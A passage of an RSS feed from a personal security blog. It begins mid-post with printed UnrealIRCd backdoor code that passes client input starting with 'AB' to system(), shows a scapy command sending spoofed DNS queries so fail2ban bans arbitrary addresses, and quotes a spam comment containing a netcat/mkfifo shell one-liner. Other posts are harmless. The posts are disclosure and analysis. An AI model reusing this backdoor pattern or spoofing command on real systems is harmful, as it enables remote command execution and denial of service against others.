#009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; cptr&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;lasttime &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; now&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;cptr&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;lasttime &lt;span style=&quot;color: #339933;&quot;&gt;&amp;gt;&lt;/span&gt; cptr&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;since&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; cptr&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;since &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; cptr&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;lasttime&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; cptr&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;flags &lt;span style=&quot;color: #339933;&quot;&gt;&amp;amp;=&lt;/span&gt; ~&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;FLAGS_PINGSENT &lt;span style=&quot;color: #339933;&quot;&gt;|&lt;/span&gt; FLAGS_NONL&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;&lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;// If not ready, fake it so it isnt closed&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;length &lt;span style=&quot;color: #339933;&quot;&gt;&amp;lt;&lt;/span&gt; 0 &lt;span style=&quot;color: #339933;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; ERRNO &lt;span style=&quot;color: #339933;&quot;&gt;==&lt;/span&gt; P_EWOULDBLOCK&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #0000dd;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;length &lt;span style=&quot;color: #339933;&quot;&gt;&amp;lt;=&lt;/span&gt; 0&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;return&lt;/span&gt; length&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #339933;&quot;&gt;#ifdef DEBUGMODE3&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;!&lt;/span&gt;memcmp&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;readbuf&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; DEBUGMODE3_INFO&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; 2&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; DEBUG3_LOG&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;readbuf&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #339933;&quot;&gt;#endif&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;
This is &lt;u&gt;the&lt;/u&gt; important function to handle client connection data and processes all client data. the modification are the 4 lines at the end.&lt;br /&gt;
The code is simple. The first two bytes of readbuf are compared with DEBUGMODE3_INFO. readbuf is used a few lines before to read data from the client connection. So basically this introduces a new irc &quot;command&quot; DEBUGMODE3_INFO.&lt;br /&gt;
DEBUGMODE3_INFO is defined as &lt;strong&gt;AB&lt;/strong&gt; in include/struct.h. If the received bytes match AB DEBUG3_LOG is called with the read buffer as argument. DEBUG3_LOG is just another macro that resolves to DEBUG3_DOLOG_SYSTEM (defined in the same file) which looks like:&lt;div class=&quot;c geshi&quot; style=&quot;text-align: left&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #339933;&quot;&gt;#define DEBUG3_DOLOG_SYSTEM(x) system(x)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;
So this allows an attacker to connect to the irc server and execute arbitrary commands by using the AB comment. This is probably the most simple backdoor one can think of but it&#039;s rather efficient and unlikely to be hit by accident from a client. Bad days for UnrealIRCd and there are still many servers out there which are probably backdoored this way, at least it didn&#039;t cost me much time to find some :/&lt;br /&gt;
 
    </description>
</item>
<item>
    <title>fail of the day: opera</title>
    <link>http://nion.modprobe.de/blog/archives/691-fail-of-the-day-opera.html</link>

    <description>
        I occasionally make use of the report function in opera in case it crashes (which happens quite often on 64bit for me), but if it crashes right when receiving the response&lt;br /&gt;
of the crash reporting website you really start to HATE that piece of software.&lt;br /&gt;
&lt;br /&gt;
&lt;img src=&quot;http://nion.modprobe.de/bimg/opera.png&quot;&gt;&lt;br /&gt;
(notice Last visited URL)&lt;br /&gt;
&lt;br /&gt;
FAIL! (using 0.60-6351)&lt;br /&gt;
 
    </description>
</item>
<item>
    <title>fail2ban + dns = fail</title>
    <link>http://nion.modprobe.de/blog/archives/690-fail2ban-+-dns-fail.html</link>

    <description>
        &lt;a href=&quot;http://www.fail2ban.org/wiki/index.php/Main_Page&quot;&gt;fail2ban&lt;/a&gt; is used by many people to prevent certain types of &lt;a href=&quot;http://en.wikipedia.org/wiki/DoS&quot;&gt;DoS&lt;/a&gt; attacks. I use it myself to &lt;a href=&quot;http://nion.modprobe.de/blog/archives/587-defeating-trackback-spam.html&quot;&gt;reduce trackback spam&lt;/a&gt; a little bit.&lt;br /&gt;
&lt;br /&gt;
While this tool becomes quite handy in such situations it is also not generally recommend because you can shoot yourself in the foot. If one of the used filters has a bug and results in incorrect parsing your fail2ban installation might end up banning arbitrary IP addresses or even your own IP range (not even mentioning IP spoofing).&lt;br /&gt;
There existed at least &lt;a href=&quot;http://secunia.com/advisories/23237/&quot;&gt;two&lt;/a&gt; &lt;a href=&quot;http://secunia.com/advisories/33890/&quot;&gt;bugs&lt;/a&gt; of this kind to my knowledge and since regex might not always be easy I&#039;m sure there will be more in the future.&lt;br /&gt;
&lt;br /&gt;
Since I didn&#039;t want to look for a specific regex bug in one of the filters I thought about IP spoofing again and looked at fail2bans filters. What I needed was a filter processing log entries of a service listening on a &lt;a href=&quot;http://en.wikipedia.org/wiki/UDP&quot;&gt;UDP&lt;/a&gt; socket as TCP/IP spoofing over the internet doesn&#039;t really work well these days. Finding such a filter would mean an instant win situation. To my surprise there is such a filter: &lt;strong&gt;config/filter.d/named.conf&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
This filter is used to parse log entries consisting of denied DNS queries produced by &lt;a href=&quot;http://www.isc.org/software/bind&quot;&gt;bind&lt;/a&gt;. Interestingly there is even an article at &lt;a href=&quot;http://www.debian-administration.org/article/Blocking_a_DNS_DDOS_using_the_fail2ban_package&quot;&gt;debian-administration&lt;/a&gt; describing how to setup fail2ban to mitigate a &lt;a href=&quot;http://isc.sans.org/diary.html?storyid=5713&quot;&gt;DNS DDoS attack&lt;/a&gt;. This is of course a bad idea and I have no idea why this filter is shipped in a default fail2ban installation. DoSing abritary IP addresses with this filter in use becomes as easy as firing up &lt;a href=&quot;http://www.secdev.org/projects/scapy/&quot;&gt;scapy&lt;/a&gt; and querying the server with a forged source IP:&lt;br /&gt;
&lt;br /&gt;
&gt;&gt;&gt; send(IP(dst=&quot;81.169.172.197&quot;,src=&quot;xx.46.63.71&quot;)/UDP()/DNS(rd=1,qd=DNSQR(qname=&quot;foao.modprobe.de&quot;)))&lt;br /&gt;
.&lt;br /&gt;
Sent 1 packets.&lt;br /&gt;
&lt;br /&gt;
This ends up as:&lt;br /&gt;
May 26 22:32:22 modprobe named[30245]: client xx.46.63.71#53: query &#039;foao.modprobe.de/A/IN&#039; denied&lt;br /&gt;
&lt;br /&gt;
in the bind logs which in turn results in:&lt;br /&gt;
2010-05-26 22:32:05,551 fail2ban.actions: WARNING [named-refused] Ban xx.46.63.71&lt;br /&gt;
&lt;br /&gt;
In this example the spoofed IP was xx.46.63.71 which is not under my control.&lt;br /&gt;
&lt;br /&gt;
Mission statement: don&#039;t use fail2ban unless you really want to shoot yourself in the foot or know pretty well what you&#039;re doing &lt;img src=&quot;http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; 
    </description>
</item>
<item>
    <title>evolution of spam or WTF is this!</title>
    <link>http://nion.modprobe.de/blog/archives/688-evolution-of-spam-or-WTF-is-this!.html</link>

    <description>
        It is possible with &lt;a href=&quot;http://www.s9y.org&quot;&gt;s9y&lt;/a&gt; to moderate blog comments after a certain amount of time has passed since the article was published.&lt;br /&gt;
A while back I got the following mail to approve a blog comment (I stripped the url and email address to not support the spam):&lt;blockquote&gt;&lt;strong&gt;Mon, 19 Oct 2009 12:18:02 +0200 (CEST)&lt;/strong&gt;&lt;br /&gt;
A new comment has been posted on your blog &quot;nion&#039;s blog&quot;, to the entry entitled &quot;security of scponly/sftp-server in combination with apache&quot;.&lt;br /&gt;
Link to entry: http://nion.modprobe.de/blog/archives/679-security-of-scponlysftp-server-in-combination-with-apache.html&lt;br /&gt;
&lt;br /&gt;
Requires review: Yes (Auto-moderation after X days)&lt;br /&gt;
User IP-address: 24.123.215.XXX&lt;br /&gt;
User Name: SomeSpammer&lt;br /&gt;
User Email: webmaster@somespammer.com&lt;br /&gt;
User Homepage: http://www.somespammer.com&lt;br /&gt;
&lt;br /&gt;
Comments:&lt;br /&gt;
Very interesting, seems so simple when you explain it like that..  nice one&lt;/blockquote&gt;&lt;br /&gt;
This is quite obviously a spam comment to increase google ranks or site links in general.&lt;br /&gt;
&lt;br /&gt;
Today I got a new comment:&lt;blockquote&gt;&lt;br /&gt;
&lt;strong&gt;Fri, 19 Mar 2010 02:35:54 +0200 (CEST)&lt;/strong&gt;&lt;br /&gt;
A new comment has been posted on your blog &quot;nion&#039;s blog&quot;, to the entry entitled &quot;security of scponly/sftp-server in combination with apache&quot;.&lt;br /&gt;
Link to entry: http://nion.modprobe.de/blog/archives/679-security-of-scponlysftp-server-in-combination-with-apache.html&lt;br /&gt;
&lt;br /&gt;
Requires review: Yes (Auto-moderation after X days)&lt;br /&gt;
User IP-address: 96.30.18.XXX&lt;br /&gt;
User Name: SomeSpammer&lt;br /&gt;
User Email: webmaster@somespammer.com&lt;br /&gt;
User Homepage: http://www.somespammer.com/&lt;br /&gt;
&lt;br /&gt;
Comments:&lt;br /&gt;
Weird.. I found myself back here!  small world. Reminds of this one from the commmandline kung fu of wietse.&lt;br /&gt;
&lt;br /&gt;
( ( mkfifo ~/nc-feef &amp;amp;&amp;amp; ( ( nc -v -l -p 22123 127.0.0.1 &amp;gt; ~/out ) &amp;amp; ) &amp;amp;&amp;amp; ( ( cat /tmp/ncf | nc 127.0.0.1 22123 ) &amp;amp; ) &amp;amp;&amp;amp; script -f ~/nc-feef ) &amp;amp; )&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
This comment is pointing to the same spammer site. Now comparing this comment to the first one at the first glance it seems even related to the blog post! Thinking of &quot;wietse&quot; the name &lt;a href=&quot;http://en.wikipedia.org/wiki/Wietse_Venema&quot;&gt;Wietse Venema&lt;/a&gt; (author of postfix) pops up, so this also familiar.&lt;br /&gt;
&lt;br /&gt;
Though opening a fifo in the home directory, a netcat listening tcp port on localhost with the output redirected to a file and then some tmp file piped to the listening port (thus writing the file) and attaching script to the FIFO doesn&#039;t really make sense?! Not that this is usually the case with spam, but wtf this is everything but obviously spam. If you have a blog that is commented highly frequent it might be a problem to sort that out and spot that even if it&#039;s not interesting to you. This is the difference to email, if it&#039;s spam, you don&#039;t notice but it&#039;s also not interesting you will just delete the mail. Using a blog you might approve such a comment as it might be interesting for another reader and you don&#039;t have time to read that in detail.&lt;br /&gt;
&lt;br /&gt;
So this spam hit me 6 months after the first attempt again! It&#039;s interesting to see how spam evolves over time, this one clearly has been improved.&lt;br /&gt;
&lt;br /&gt;
Now spam bots are producing code. This is scary. It will be interesting to see if and what comment I get from the guy on this article &lt;img src=&quot;http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
 
    </description>
</item>
<item>
    <title>if you type google into google...</title>
    <link>http://nion.modprobe.de/blog/archives/687-if-you-type-google-into-google....html</link>

    <description>
        ... or you search for &lt;strong&gt;int main(int argn, char **argc)&lt;/strong&gt; (I was looking for source code snippets that do not use the typical int argc, char **argv names) the &lt;a href=&quot;http://www.google.com/codesearch?q=int+main%28int+argn%2C+char+%2A%2Aargc%29&amp;hl=en&quot;&gt;google code search&lt;/a&gt; behaves rather strangely.&lt;br /&gt;
&lt;br /&gt;
The first result you get is:&lt;br /&gt;
&lt;img src=&quot;http://nion.modprobe.de/bimg/codesearch1.png&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
this is not too surprising as the google code search features regexes and * is a reserved symbol in POSIX extended regular expressions but at least the recommendation of &lt;strong&gt;int argn, char &quot;main(int&quot; &quot;**argc)&quot;&lt;/strong&gt; is a bit surprising.&lt;br /&gt;
&lt;br /&gt;
Searching for this actually results in a function that matches the string you wanted to search for originally. So far so good, I didn&#039;t look into the codesearch syntax in detail, so this might make sense.&lt;br /&gt;
The result looks like:&lt;br /&gt;
&lt;img src=&quot;http://nion.modprobe.de/bimg/codesearch2.png&quot; /&gt;&lt;br /&gt;
i&lt;br /&gt;
Note that the result has 9 pages (the screenshot is missing this detail) but also only 9 results. The first question that arises is: Why do they only display one result on the page instead of n (usually they do display more)?&lt;br /&gt;
&lt;br /&gt;
Looking at the other pages it becomes confusing. On page 2 this looks like:&lt;br /&gt;
&lt;img src=&quot;http://nion.modprobe.de/bimg/codesearch4.png&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Now where have pages 4-9 been gone? Ok, to be fair, google sometimes strips additional search results if the content is too similar, this is not too surprising.&lt;br /&gt;
&lt;br /&gt;
But then, visiting page 3 you get:&lt;br /&gt;
&lt;img src=&quot;http://nion.modprobe.de/bimg/codesearch3.png&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Tada, pages are there again! &lt;img src=&quot;http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
At this point I am/was totally confused and am really wondering what the idea behind this behaviour is.&lt;br /&gt;
If someone is using the google codesearch more frequently (or even is a google employer) please enlighten me! &lt;img src=&quot;http://nion.modprobe.de/blog/templates/default/img/emoticons/tongue.png&quot; alt=&quot;:-P&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
 
    </description>
</item>
<item>
    <title>Two weeks with the n900</title>
    <link>http://nion.modprobe.de/blog/archives/686-Two-weeks-with-the-n900.html</link>

    <description>
        Two weeks ago I got myself a nokia n900 phone which is running &lt;a href=&quot;http://www.maemo.org&quot;&gt;maemo 5&lt;/a&gt;. So far I am quite happy with it, given that my previous phone was a sony erricsson p1i which is pretty crappy.&lt;br /&gt;
I&#039;ve taken some notes about my experiences:&lt;br /&gt;
&lt;ul&gt;&lt;br /&gt;
    &lt;li&gt;under normal use the battery lasts for ~ 2 days, if I&#039;m using 3G the whole day I need to recharge it daily though&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;the terminal has a &lt;a href=&quot;https://bugs.maemo.org/show_bug.cgi?id=6045&quot;&gt;bug&lt;/a&gt; which results in the enter key not working under some conditions, ctrl-m works as a workaround though&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;playing normal dvdrips in mplayer is absolutely no problem without downscaling, 720p doesn&#039;t perform though&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;I somehow managed that my screen flipped and I wasn&#039;t able to flip it back, only a reboot solved that&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;It is not clear to me which tools you will find in the list of installable packages and which are only visible with apt-cache search. I also managed to end up with a doubled launch icon in my application list for some application&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;the termininal is not usable anymore after an ncurses program crashed, &quot;reset&quot; doesnt help either&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;wireless uses less battery than umts, way less&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;the back button in the browser is per default opening a fancy eyecandy browse history which is slow, so I mostly use backspace to browse back&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;there is lots of useful tools in the extras-devel repository, e.g. I can control my mpd via mmpc from the phone which is great&lt;/li&gt;&lt;br /&gt;
&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;importing contacts works flawlessly, also merging existing contacts works as expected&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;jabber (including xmpp calls) are integrated in the contacts information (you can merge a jabber uid into an existing contact)&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;i&#039;ve no idea yet what the internal video player is, but i wasn&#039;t able to play a non downscaled XviD file with it, mplayer does play it fine&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;freely placeable widgets are awesome&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;it&#039;s is really userfriendly and no geeky linux user phone&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;i would prefer not having busybox per default, i can install bash but the libc is still from busybox which implies world readable password hashes in /etc/passwd, so no other user accounts on my mobile &lt;img src=&quot;http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;is there disk encryption available?&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;&lt;a href=&quot;http://maemo.org/packages/view/n900fly/&quot;&gt;n900fly&lt;/a&gt; can&#039;t cause any good &lt;img src=&quot;http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;gps with nokia maps is ok and I find it pretty usable even if a google maps client would be nice as well&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;the mp3 mplayer sucks unless you have tagged your music properly, you can&#039;t just play some folder without having a playlist for it&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;mplayer as an alternative from the console is no real alternative either, if you don&#039;t redirect its output to /dev/null it gets stuck in a loop when the display blanks,&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;app manager locks dpkg lock even if you just list available programs, no idea why this is needed and no idea how aptitude and synaptic are doing this&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;is there a good todo manager which comes with a widget listing todos?&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;is it possible to install armel &lt;a href=&quot;http://www.debian.org&quot;&gt;debian&lt;/a&gt; packages without having a debian chroot?&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;sms are nicely organized per contact in an instant messaging fashion&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;the builtin accelerator works nice and you can automatically flip the screen when you want to dial a number, sometimes happens by accident though&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;the multiuser support works awesome and you get a nice overview of open applications in a composé fashion, it may be wise to have not 40 applications open though&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;the list of processes is already huge (like 160 processes running in the background)&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;i haven&#039;t checked out the sdk yet but I will do that soon as I need e.g. &lt;a href=&quot;http://www.newsbeuter.org&quot;&gt;newsbeuter&lt;/a&gt; for RSS&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;hardware feels robust, arm cortex a8 is imho a very good processor, RAM could be more (the phone is heavily swapping)&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;you can not yet use the phone as a wireless access point without building your own kernel images, some people seem &lt;a href=&quot;http://talk.maemo.org/showthread.php?t=30916&amp;page=1&quot;&gt;to be working&lt;/a&gt; on this&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;you can manipulate all kinds of stuff through the sysfs, including the phone led and the vibration &lt;img src=&quot;http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/li&gt;&lt;br /&gt;
    &lt;li&gt;wireless certificates are sometimes shown to be invalid but there there is no details button, you can click only &quot;done&quot;&lt;/li&gt;&lt;br /&gt;
&lt;/ul&gt;&lt;br /&gt;
Those are the things I came up with while using the phone. The calling functionality and everything which is only phone related really works fine and the sound quality while talking to someone on the phone is also really good. So far I am really happy with the phone and I can only recommend it. I hope I&#039;ll have some time to port some applications to maemo soon.&lt;br /&gt;
&lt;br /&gt;
 
    </description>
</item>
<item>
    <title>Chomsky garden gnome</title>
    <link>http://nion.modprobe.de/blog/archives/685-Chomsky-garden-gnome.html</link>

    <description>
        I always hated garden gnomes and was under the impression that only old people collect them. But I have to realize that I just discovered the love to garden gnomes when I saw the &lt;a href=&quot;http://en.wikipedia.org/wiki/Noam_Chomsky&quot;&gt;Noam Chomsky&lt;/a&gt; garden gnome.&lt;br /&gt;
&lt;br /&gt;
&lt;img src=&quot;http://nion.modprobe.de/bimg/gardengnome.jpg&quot;/&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.justsaygnome.net/gnomes-noams--oms---products---ordering.html&quot;&gt;http://www.justsaygnome.net/gnomes-noams--oms---products---ordering.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
If you ever feel like sending me a gift, send me one of those &lt;img src=&quot;http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
Too bad there&#039;s also a bunch of other important people I would like to as garden gnomes! If there is a business around that please leave a comment.&lt;br /&gt;
&lt;br /&gt;
 
    </description>
</item>

</channel>
</rss>

